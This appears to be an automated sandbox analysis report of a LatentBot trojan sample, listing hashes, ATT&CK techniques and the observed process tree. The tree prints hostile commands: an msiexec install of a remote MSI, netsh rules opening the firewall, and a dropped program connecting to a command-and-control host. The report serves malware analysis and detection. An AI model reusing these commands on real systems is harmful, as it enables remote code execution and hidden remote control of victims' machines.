latentbot | 0f6c99a0e331ab6eae07a1d98a80d839f8c2e025bd17a587a6c5eead001acc38

Analysis

max time kernel
146s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-10-2024 19:23

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General

Target

BillDetails.exe
Size

3.9MB
MD5

f9fdaa73953ce9a148bc4b465ab1408f
SHA1

a2f259b8f8ddfae8994eb8200b8d89c256ddc13d
SHA256

0f6c99a0e331ab6eae07a1d98a80d839f8c2e025bd17a587a6c5eead001acc38
SHA512

889440392c11a0de283d6bf32ec4ba2c3e9aca463b7f96562815e1c2e06b1fe1f0a719896bfbb158ca7c1d557120fa73c82576f987ac76b28a0b8e598c111466
SSDEEP

98304:6tlEb9+zykLmOCYNW/WrHwOnvE8sJXcMv5ezs2rEPqtxLA:6tSb9+zykLmxd/cHwOkp7uA

Score

10^/10

latentbot discovery evasion persistence privilege_escalation trojan

Malware Config

Extracted

Family

latentbot

besthard2024.zapto.org

Signatures

LatentBot
Modular trojan written in Delphi which has been in-the-wild since 2013.
trojan latentbot

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

Processes:

netsh.exenetsh.exe

pid	Process
4308	netsh.exe
1556	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

BillDetails.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	BillDetails.exe

Executes dropped EXE 4 IoCs

Processes:

MSIE8C0.tmpPrintDrivers.exePrintDriver.exePrintDrivers.exe

pid	Process
5116	MSIE8C0.tmp
1296	PrintDrivers.exe
5060	PrintDriver.exe
544	PrintDrivers.exe

Loads dropped DLL 8 IoCs

Processes:

MsiExec.exeMsiExec.exe

pid	Process
1632	MsiExec.exe
1632	MsiExec.exe
1632	MsiExec.exe
5012	MsiExec.exe
5012	MsiExec.exe
5012	MsiExec.exe
5012	MsiExec.exe
5012	MsiExec.exe

Use of msiexec (install) with remote resource 1 IoCs

Processes:

msiexec.exe

pid	Process
1156	msiexec.exe

Blocklisted process makes network request 1 IoCs

Processes:

msiexec.exe

flow	pid	Process
27	1156	msiexec.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exeBillDetails.exemsiexec.exe

description	ioc	Process
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	BillDetails.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\T:	BillDetails.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\O:	BillDetails.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\R:	BillDetails.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Q:	BillDetails.exe
File opened (read-only)	\??\V:	BillDetails.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	BillDetails.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	BillDetails.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\B:	BillDetails.exe
File opened (read-only)	\??\H:	BillDetails.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	BillDetails.exe
File opened (read-only)	\??\Y:	BillDetails.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\K:	BillDetails.exe
File opened (read-only)	\??\Z:	BillDetails.exe
File opened (read-only)	\??\I:	BillDetails.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\L:	BillDetails.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	BillDetails.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\X:	BillDetails.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\M:	BillDetails.exe
File opened (read-only)	\??\N:	BillDetails.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	BillDetails.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\U:	BillDetails.exe

Drops file in Windows directory 11 IoCs

Processes:

msiexec.exemsiexec.exe

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIDB1E.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE520.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE57F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE60D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE5FD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE66C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE729.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE8C0.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exe

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

msiexec.exeMSIE8C0.tmpcmd.exeattrib.exeattrib.exePrintDrivers.exeBillDetails.exeMsiExec.exeMsiExec.exePrintDrivers.execmd.execmd.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSIE8C0.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PrintDrivers.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BillDetails.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PrintDrivers.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 10 IoCs

evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid	Process
972	timeout.exe
1400	timeout.exe
4284	timeout.exe
4880	timeout.exe
3936	timeout.exe
3996	timeout.exe
2720	timeout.exe
2804	timeout.exe
1696	timeout.exe
4664	timeout.exe

Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Kills process with taskkill 3 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid	Process
1464	taskkill.exe
4248	taskkill.exe
224	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

msiexec.exePrintDrivers.exe

pid	Process
2124	msiexec.exe
2124	msiexec.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe
1296	PrintDrivers.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

msiexec.exeBillDetails.exe

description	pid	Process
Token: SeSecurityPrivilege	2124	msiexec.exe
Token: SeCreateTokenPrivilege	1904	BillDetails.exe
Token: SeAssignPrimaryTokenPrivilege	1904	BillDetails.exe
Token: SeLockMemoryPrivilege	1904	BillDetails.exe
Token: SeIncreaseQuotaPrivilege	1904	BillDetails.exe
Token: SeMachineAccountPrivilege	1904	BillDetails.exe
Token: SeTcbPrivilege	1904	BillDetails.exe
Token: SeSecurityPrivilege	1904	BillDetails.exe
Token: SeTakeOwnershipPrivilege	1904	BillDetails.exe
Token: SeLoadDriverPrivilege	1904	BillDetails.exe
Token: SeSystemProfilePrivilege	1904	BillDetails.exe
Token: SeSystemtimePrivilege	1904	BillDetails.exe
Token: SeProfSingleProcessPrivilege	1904	BillDetails.exe
Token: SeIncBasePriorityPrivilege	1904	BillDetails.exe
Token: SeCreatePagefilePrivilege	1904	BillDetails.exe
Token: SeCreatePermanentPrivilege	1904	BillDetails.exe
Token: SeBackupPrivilege	1904	BillDetails.exe
Token: SeRestorePrivilege	1904	BillDetails.exe
Token: SeShutdownPrivilege	1904	BillDetails.exe
Token: SeDebugPrivilege	1904	BillDetails.exe
Token: SeAuditPrivilege	1904	BillDetails.exe
Token: SeSystemEnvironmentPrivilege	1904	BillDetails.exe
Token: SeChangeNotifyPrivilege	1904	BillDetails.exe
Token: SeRemoteShutdownPrivilege	1904	BillDetails.exe
Token: SeUndockPrivilege	1904	BillDetails.exe
Token: SeSyncAgentPrivilege	1904	BillDetails.exe
Token: SeEnableDelegationPrivilege	1904	BillDetails.exe
Token: SeManageVolumePrivilege	1904	BillDetails.exe
Token: SeImpersonatePrivilege	1904	BillDetails.exe
Token: SeCreateGlobalPrivilege	1904	BillDetails.exe
Token: SeCreateTokenPrivilege	1904	BillDetails.exe
Token: SeAssignPrimaryTokenPrivilege	1904	BillDetails.exe
Token: SeLockMemoryPrivilege	1904	BillDetails.exe
Token: SeIncreaseQuotaPrivilege	1904	BillDetails.exe
Token: SeMachineAccountPrivilege	1904	BillDetails.exe
Token: SeTcbPrivilege	1904	BillDetails.exe
Token: SeSecurityPrivilege	1904	BillDetails.exe
Token: SeTakeOwnershipPrivilege	1904	BillDetails.exe
Token: SeLoadDriverPrivilege	1904	BillDetails.exe
Token: SeSystemProfilePrivilege	1904	BillDetails.exe
Token: SeSystemtimePrivilege	1904	BillDetails.exe
Token: SeProfSingleProcessPrivilege	1904	BillDetails.exe
Token: SeIncBasePriorityPrivilege	1904	BillDetails.exe
Token: SeCreatePagefilePrivilege	1904	BillDetails.exe
Token: SeCreatePermanentPrivilege	1904	BillDetails.exe
Token: SeBackupPrivilege	1904	BillDetails.exe
Token: SeRestorePrivilege	1904	BillDetails.exe
Token: SeShutdownPrivilege	1904	BillDetails.exe
Token: SeDebugPrivilege	1904	BillDetails.exe
Token: SeAuditPrivilege	1904	BillDetails.exe
Token: SeSystemEnvironmentPrivilege	1904	BillDetails.exe
Token: SeChangeNotifyPrivilege	1904	BillDetails.exe
Token: SeRemoteShutdownPrivilege	1904	BillDetails.exe
Token: SeUndockPrivilege	1904	BillDetails.exe
Token: SeSyncAgentPrivilege	1904	BillDetails.exe
Token: SeEnableDelegationPrivilege	1904	BillDetails.exe
Token: SeManageVolumePrivilege	1904	BillDetails.exe
Token: SeImpersonatePrivilege	1904	BillDetails.exe
Token: SeCreateGlobalPrivilege	1904	BillDetails.exe
Token: SeCreateTokenPrivilege	1904	BillDetails.exe
Token: SeAssignPrimaryTokenPrivilege	1904	BillDetails.exe
Token: SeLockMemoryPrivilege	1904	BillDetails.exe
Token: SeIncreaseQuotaPrivilege	1904	BillDetails.exe
Token: SeMachineAccountPrivilege	1904	BillDetails.exe

Suspicious use of FindShellTrayWindow 6 IoCs

Processes:

msiexec.exePrintDriver.exe

pid	Process
1156	msiexec.exe
1156	msiexec.exe
5060	PrintDriver.exe
5060	PrintDriver.exe
5060	PrintDriver.exe
5060	PrintDriver.exe

Suspicious use of SendNotifyMessage 3 IoCs

Processes:

PrintDriver.exe

pid	Process
5060	PrintDriver.exe
5060	PrintDriver.exe
5060	PrintDriver.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msiexec.exeBillDetails.execmd.execmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 2124 wrote to memory of 1632	2124	msiexec.exe	88
PID 2124 wrote to memory of 1632	2124	msiexec.exe	88
PID 2124 wrote to memory of 1632	2124	msiexec.exe	88
PID 1904 wrote to memory of 1156	1904	BillDetails.exe	89
PID 1904 wrote to memory of 1156	1904	BillDetails.exe	89
PID 1904 wrote to memory of 1156	1904	BillDetails.exe	89
PID 2124 wrote to memory of 5012	2124	msiexec.exe	90
PID 2124 wrote to memory of 5012	2124	msiexec.exe	90
PID 2124 wrote to memory of 5012	2124	msiexec.exe	90
PID 2124 wrote to memory of 5116	2124	msiexec.exe	91
PID 2124 wrote to memory of 5116	2124	msiexec.exe	91
PID 2124 wrote to memory of 5116	2124	msiexec.exe	91
PID 1904 wrote to memory of 428	1904	BillDetails.exe	95
PID 1904 wrote to memory of 428	1904	BillDetails.exe	95
PID 1904 wrote to memory of 428	1904	BillDetails.exe	95
PID 3280 wrote to memory of 4356	3280	cmd.exe	97
PID 3280 wrote to memory of 4356	3280	cmd.exe	97
PID 428 wrote to memory of 4488	428	cmd.exe	98
PID 428 wrote to memory of 4488	428	cmd.exe	98
PID 428 wrote to memory of 4488	428	cmd.exe	98
PID 3280 wrote to memory of 4264	3280	cmd.exe	99
PID 3280 wrote to memory of 4264	3280	cmd.exe	99
PID 3280 wrote to memory of 3412	3280	cmd.exe	100
PID 3280 wrote to memory of 3412	3280	cmd.exe	100
PID 3412 wrote to memory of 952	3412	cmd.exe	101
PID 3412 wrote to memory of 952	3412	cmd.exe	101
PID 3280 wrote to memory of 1316	3280	cmd.exe	102
PID 3280 wrote to memory of 1316	3280	cmd.exe	102
PID 3280 wrote to memory of 1272	3280	cmd.exe	103
PID 3280 wrote to memory of 1272	3280	cmd.exe	103
PID 428 wrote to memory of 3868	428	cmd.exe	105
PID 428 wrote to memory of 3868	428	cmd.exe	105
PID 428 wrote to memory of 3868	428	cmd.exe	105
PID 428 wrote to memory of 5040	428	cmd.exe	106
PID 428 wrote to memory of 5040	428	cmd.exe	106
PID 428 wrote to memory of 5040	428	cmd.exe	106
PID 428 wrote to memory of 5076	428	cmd.exe	107
PID 428 wrote to memory of 5076	428	cmd.exe	107
PID 428 wrote to memory of 5076	428	cmd.exe	107
PID 3280 wrote to memory of 1052	3280	cmd.exe	108
PID 3280 wrote to memory of 1052	3280	cmd.exe	108
PID 3280 wrote to memory of 1760	3280	cmd.exe	109
PID 3280 wrote to memory of 1760	3280	cmd.exe	109
PID 1760 wrote to memory of 1824	1760	cmd.exe	110
PID 1760 wrote to memory of 1824	1760	cmd.exe	110
PID 1760 wrote to memory of 4308	1760	cmd.exe	111
PID 1760 wrote to memory of 4308	1760	cmd.exe	111
PID 1760 wrote to memory of 1556	1760	cmd.exe	112
PID 1760 wrote to memory of 1556	1760	cmd.exe	112
PID 1760 wrote to memory of 2540	1760	cmd.exe	113
PID 1760 wrote to memory of 2540	1760	cmd.exe	113
PID 1760 wrote to memory of 2920	1760	cmd.exe	114
PID 1760 wrote to memory of 2920	1760	cmd.exe	114
PID 1760 wrote to memory of 5060	1760	cmd.exe	115
PID 1760 wrote to memory of 5060	1760	cmd.exe	115
PID 3280 wrote to memory of 3996	3280	cmd.exe	116
PID 3280 wrote to memory of 3996	3280	cmd.exe	116
PID 3280 wrote to memory of 4248	3280	cmd.exe	117
PID 3280 wrote to memory of 4248	3280	cmd.exe	117
PID 3280 wrote to memory of 2720	3280	cmd.exe	118
PID 3280 wrote to memory of 2720	3280	cmd.exe	118
PID 3280 wrote to memory of 224	3280	cmd.exe	119
PID 3280 wrote to memory of 224	3280	cmd.exe	119
PID 3280 wrote to memory of 2804	3280	cmd.exe	120

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

Processes:

attrib.exeattrib.exe

pid	Process
4488	attrib.exe
3868	attrib.exe

C:\Users\Admin\AppData\Local\Temp\BillDetails.exe
"C:\Users\Admin\AppData\Local\Temp\BillDetails.exe"
1⤵
- Checks computer location settings
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1904
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\system32\msiexec.exe" /i https://www.walteryhu.site/PrintViewer.msi AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\BillDetails.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1728261195 "
  2⤵
  - Use of msiexec (install) with remote resource
  - Blocklisted process makes network request
  - Enumerates connected drives
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  PID:1156
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXEE9B9.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:428
- - C:\Windows\SysWOW64\attrib.exe
    C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\AIECAF1.tmp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:4488
- - C:\Windows\SysWOW64\attrib.exe
    C:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXEE9B9.bat"
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:3868
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXEE9B9.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" cls"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5076

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2124
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 973D4AAFF06157109E1E1F5245117FCE C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1632
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding CD2ACB6B33B4EAF24BEF5C5C693978BB
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5012
- C:\Windows\Installer\MSIE8C0.tmp
  "C:\Windows\Installer\MSIE8C0.tmp" /DontWait /HideWindow /dir "C:\Games\" "C:\Games\PrintDrivers.exe" /HideWindow "C:\Games\PrintDrivers.cmd"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5116

C:\Games\PrintDrivers.exe
"C:\Games\PrintDrivers.exe" /HideWindow "C:\Games\PrintDrivers.cmd"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:1296

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Games\PrintDrivers.cmd" "
1⤵
- Suspicious use of WriteProcessMemory
PID:3280
- C:\Windows\system32\mode.com
  Mode 90,20
  2⤵
  PID:4356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul
  2⤵
  PID:4264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3412
- - C:\Windows\system32\reg.exe
    Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
    3⤵
    PID:952
- C:\Windows\System32\Wbem\WMIC.exe
  wmic process where (name="PrintDriver.exe") get commandline
  2⤵
  PID:1316
- C:\Windows\system32\findstr.exe
  findstr /i "PrintDriver.exe"
  2⤵
  PID:1272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" type C:\Games\PrintDriver.txt"
  2⤵
  PID:1052
- C:\Windows\system32\cmd.exe
  cmd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1760
- - C:\Windows\system32\mode.com
    Mode 90,20
    3⤵
    PID:1824
- - C:\Windows\system32\netsh.exe
    netsh firewall add allowedprogram program="C:\Games\PrintDriver.exe" name="MyApplication" mode=ENABLE scope=ALL
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4308
- - C:\Windows\system32\netsh.exe
    netsh firewall add allowedprogram program="C:\Games\PrintDriver.exe" name="MyApplicatio" mode=ENABLE scope=ALL profile=ALL
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1556
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic process where (name="PrintDriver.exe") get commandline
    3⤵
    PID:2540
- - C:\Windows\system32\findstr.exe
    findstr /i "PrintDriver.exe"
    3⤵
    PID:2920
- - C:\Games\PrintDriver.exe
    C:\Games\PrintDriver.exe -autoreconnect ID:5693812 -connect besthard2024.zapto.org:5500 -run
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:5060
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:3996
- C:\Windows\system32\taskkill.exe
  taskkill /im rundll32.exe /f
  2⤵
  - Kills process with taskkill
  PID:4248
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:2720
- C:\Windows\system32\taskkill.exe
  taskkill /im rundll32.exe /f
  2⤵
  - Kills process with taskkill
  PID:224
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:2804
- C:\Windows\system32\taskkill.exe
  taskkill /im rundll32.exe /f
  2⤵
  - Kills process with taskkill
  PID:1464
- C:\Games\PrintDrivers.exe
  C:\Games\PrintDrivers.exe /HideWindow C:\Games\driverhelp.cmd
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:544

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Games\driverhelp.cmd" "
1⤵
PID:2704
- C:\Windows\system32\mode.com
  Mode 90,20
  2⤵
  PID:3276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul
  2⤵
  PID:4212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
  2⤵
  PID:4348
- - C:\Windows\system32\reg.exe
    Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
    3⤵
    PID:2100
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:972
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:1400
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:4284
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:1696
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:4880
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:3936
- C:\Windows\system32\timeout.exe
  timeout /t 20
  2⤵
  - Delays execution with timeout.exe
  PID:4664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Config.Msi\e57e6b8.rbs

Filesize
423KB

MD5
29ce73ad76ef6e568444f48ac11ca23e

SHA1
f1c8f600dadbc30a9ac23dca6ff315ac9e33cc96

SHA256
b18af890e6b99ad56ffbc01ab9a14ea7d74985705809cfeaaa292758019fc98e

SHA512
6cf9846ddba131c222a1cd15540af531302b7c35baa5891a66efe7ef9b49dd3aa196eaaebf67853884c56b4c75057147f0f949507f08c23c62976c48fd26c480

Download Submit
C:\Games\PrintDriver.exe

Filesize
2.8MB

MD5
27c1c264c6fce4a5f44419f1783db8e0

SHA1
e071486e4dfef3a13f958a252d7000d3ce7bfd89

SHA256
29379afd1ca5439c82931d623fda335174dc416e5b013591457fa1f7bbe564db

SHA512
a80a512be6f152e8737cd5d0a0a2a193eaf88f3bfb7ed6b7695d227e195db278e2734ebfc9fe48a68cfb13e4e5bb7fb4825019cfa2210ba741ecf8b11f954a98

Download Submit
C:\Games\PrintDriver.txt

Filesize
1KB

MD5
6eb13f7936a83f4c44842029914aad6e

SHA1
7b9b27731d4ca6f996ce68c5d68b4d653e31d915

SHA256
8d9bb49947d9dc7fa7be7310149a99f13a0c02580fd996aae31c69d673775c49

SHA512
